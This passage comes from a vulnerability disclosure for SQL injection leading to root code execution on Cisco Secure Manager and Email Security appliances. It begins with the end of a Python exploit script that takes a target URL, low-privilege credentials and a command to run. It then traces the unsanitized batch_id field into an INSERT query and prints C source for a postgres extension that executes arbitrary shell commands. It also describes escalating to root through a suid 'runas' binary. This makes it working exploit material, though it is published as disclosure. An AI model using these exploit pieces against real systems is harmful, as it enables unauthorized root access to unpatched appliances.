        sqli('SELECT pg_system(\'' + self.command + '\')')
        return True

    def cleanup(self):
        return True


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--url', help='Target URL', required=True)
    parser.add_argument(
        '--username', help='Username of low privilege user', required=True)
    parser.add_argument(
        '--password', help='Password of low privilege user', required=True)
    parser.add_argument('--command', help='Command to execute', required=True)
    exploit = Exploit(parser.parse_args())
    exploit.trigger()

2 - Cisco Secure Manager Appliance remediation_request_utils SQL Injection Remote Code Execution

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Cisco Secure Manager Appliance and Cisco Email Security Appliance. Authentication as a high-privileged user is required to exploit this vulnerability.

The specific flaw exists within the remediation_request_utils module. The issue results from the lack of proper validation of user-supplied data, which can result in SQL injection. An attacker can leverage this vulnerability to execute code in the context of root.

Note: Another vulnerability was published alongside this one. These vulnerabilities are not dependent on one another. Exploitation of one of the vulnerabilities is not required to exploit the other vulnerability.  A Low level privileges user can use the combination of the two vulnerabilities to receive full admin privileges on an affected system.

CVE

CVE-2022-20867

CVE-2022-20868

Credit

An independent security researcher has reported this to the SSD Secure Disclosure program.

Technical Analysis

The remediation functionality is only available to users that have one of the following roles: ADMINEMAIL_ADMIN, or CLOUD_ADMIN, however since we can impersonate any user we can obtain a token for the admin account.

The entry point for the vulnerability may be found in the process_POST method. The method loads [1] the remediation_data object from the body of the post request. The batch_id is obtained from the remediation_data object if present, and it is used to create [3] the record object. Finally, the record object is passed to the store_mor_details method indirectly via the remediation_request_records object.

def process_POST(self, uri_ctx):
    post_data = uri_ctx.request_body
    if not post_data:
        qlog.write('API.REQUEST.INFO', CONSTANTS.NO_CRITERIA)
        return uri_handler.URI_Response(None, httplib.BAD_REQUEST, CONSTANTS.NO_CRITERIA)
    else:
        try:
            remediation_data = json.loads(post_data, object_hook=stringyfy)['data'] # 1
        except (SyntaxError, ValueError, KeyError):
            qlog.write('API.REQUEST.INFO', CONSTANTS.MALFORMED_CRITERIA)
            return uri_handler.URI_Response(None, httplib.BAD_REQUEST, CONSTANTS.MALFORMED_CRITERIA)
        else:
            try:
                remediation_data[CONSTANTS.REMEDIATION_ACTION] = remediation_data[CONSTANTS.REMEDIATION_ACTION].lower()
                initiated_username = uri_ctx.user_name
                if not initiated_username:
                    initiated_username = remediation_data[CONSTANTS.INITIATED_USERNAME]
                if not remediation_data.get(CONSTANTS.INITIATED_TIME):
                    remediation_data[CONSTANTS.INITIATED_TIME] = int(time.time())
                batch_id = remediation_data.get(CONSTANTS.BATCH_ID) # 2
                if not batch_id:
                    batch_id = generate_batch_id(initiated_username, remediation_data[CONSTANTS.INITIATED_TIME])
                remediation_data[CONSTANTS.BATCH_ID] = batch_id
                batch_info_record = create_batch_info_record(remediation_data)
                batch_name = remediation_data[CONSTANTS.BATCH_NAME]
                message_details = remediation_data[CONSTANTS.REMEDIATION_MESSAGE_DETAILS]
                remediation_records = []
                for remediation_item in message_details:
                    record = create_message_details_record(remediation_item, batch_id) # 3
                    remediation_records.extend(record)
                # ...
            try:
                # ...
                remediation_request_records = {CONSTANTS.BATCH_INFO_RECORD: batch_info_record,
                    CONSTANTS.REMEDIATION_RECORDS: remediation_records}
                self.msgs_db_client.store_mor_details(remediation_request_records, True) # 4

The store_mor_details method is an RPC wrapper that calls [5] the write_mor_details_to_buffer method.

def store_mor_details(self, remediation_data, immediate_msg_write=False):
    return msgs_db_utils.write_mor_details_to_buffer(remediation_data, immediate_msg_write) # 5

The write_mor_details_to_buffer method uses the record object generated earlier as a parameter to call [6] the get_formatted_mor_record method and then calls [7] the mor_details_buffer_writer with the result.

def write_mor_details_to_buffer(remediation_data, immediate_msg_write=False):
    if remediation_data:
        formatted_mor_records = [ get_formatted_mor_record(record) for record in remediation_data.get(remediation_consts.REMEDIATION_RECORDS) ] # 6
        formatted_mor_batch_records = [
         get_formatted_mor_batch_record(remediation_data.get(remediation_consts.BATCH_INFO_RECORD))]
        msgs_db_handler = msgs_db_updater.get_msgs_db_handler()
        msgs_db_handler.mor_details_buffer_writer(formatted_mor_records, immediate_msg_write) # 7
        msgs_db_handler.mor_batch_details_buffer_writer(formatted_mor_batch_records, immediate_msg_write)

The get_formatted_mor_record formats the fields for the INSERT query that will be executed later. Some fields are sanitized, however the batch_id field is embedded [8] into the query without any sanitization.

def get_formatted_mor_record(mor_data):
    (batch_id, mid, subject, from_addrs, rcpts, ip, message_id, attempts, status, sent_at) = mor_data
    record = "('%s', %s, '%s'" % (batch_id, mid, _get_sanitized_record_field(subject)) # 8
    record = "%s, '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (record, _get_sanitized_record_field(from_addrs),
     _get_sanitized_record_field(rcpts), ip, _get_sanitized_record_field(message_id), attempts, status, sent_at)
    return record

The mor_details_buffer_writer method is later called to execute the query. The method calls [9] the insert_mor_details method with the provided parameters.

def mor_details_buffer_writer(self, records, immediate_msg_write=False):
    if not self.db_full and len(records) < self._limit:
        conn = self._get_connection()
        if immediate_msg_write and conn is not None:
            self.insert_mor_details(conn, records) # 9
    return

The insert_mor_details method fully constructs [10] the query and then it executes [11] it.

def insert_mor_details(self, conn, bulk_records):
    query_str = msgs_db_query.get_mor_details_bulk_insert_query(bulk_records) # 10
    msgs_db_defs.log_trace('Query string for mor_details: %s' % (query_str,))
    try:
        try:
            self.query(conn, query_str) # 11
        except (coro_postgres.QueryError, coro_postgres.InternalError), err:
            msgs_db_defs.log('Database insertion error %s' % (
                err,))
            raise
        except coro_postgres.ConnectionClosedError, err:
            msgs_db_defs.log('Postgres connection closed. Reason: %s' % (err,))
            raise
        else:
            self.db_empty = False
            msgs_db_defs.log('%s records inserted' % (len(bulk_records),))

    finally:
        self._release_connection(conn)

The query is constructed by calling the get_mor_details_bulk_insert_query, which internally calls [12] the _get_records_insert_query method.

def get_mor_details_bulk_insert_query(bulk_records):
    return _get_records_insert_query(msgs_db_defs.MOR_DETAILS_TABLE_COLUMNS, bulk_records, msgs_db_defs.MOR_DETAILS_TABLE) # 12

Finally, the _get_records_insert_query method uses the given parameters to construct [13] the query without any further sanitization.

def _get_records_insert_query(keys, values, table_name):
    keys = (', ').join(keys)
    values = (', ').join(values)
    return 'INSERT INTO %s (%s)  VALUES %s' % (table_name, keys, values) # 13

As the SQL injection happens in the context of the pgsql user, there are multiple methods to execute arbitrary commands on the target system. The method used in the exploit is to write to disk and load a postgres extension and to later call it’s defined function pg_system to execute arbitrary commands. To obtain root on the target server, there is a suid binary available named runas which allows any user to run commands as any other user by providing the desired username as the first parameter. The code for the postgres extension may be found below.

#include <stdlib.h>
#include <postgres.h>
#include <fmgr.h>

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_system);

Datum pg_system(PG_FUNCTION_ARGS) {
    text *commandText = PG_GETARG_TEXT_P(0);
    int32 commandLen = VARSIZE(commandText) - VARHDRSZ;
    char *command = (char *)palloc(commandLen + 1);
    int32 result = 0;
    memcpy(command, VARDATA(commandText), commandLen);
    command[commandLen] = 0;
    result = system(command);
    pfree(command);
    PG_RETURN_INT32(result);
}

Vendor Response

The vendor has issued a patch for the vulnerability as part of its patches released on the 11th of November 2022 for the affected platform – https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esasmawsa-vulns-YRuSW5mD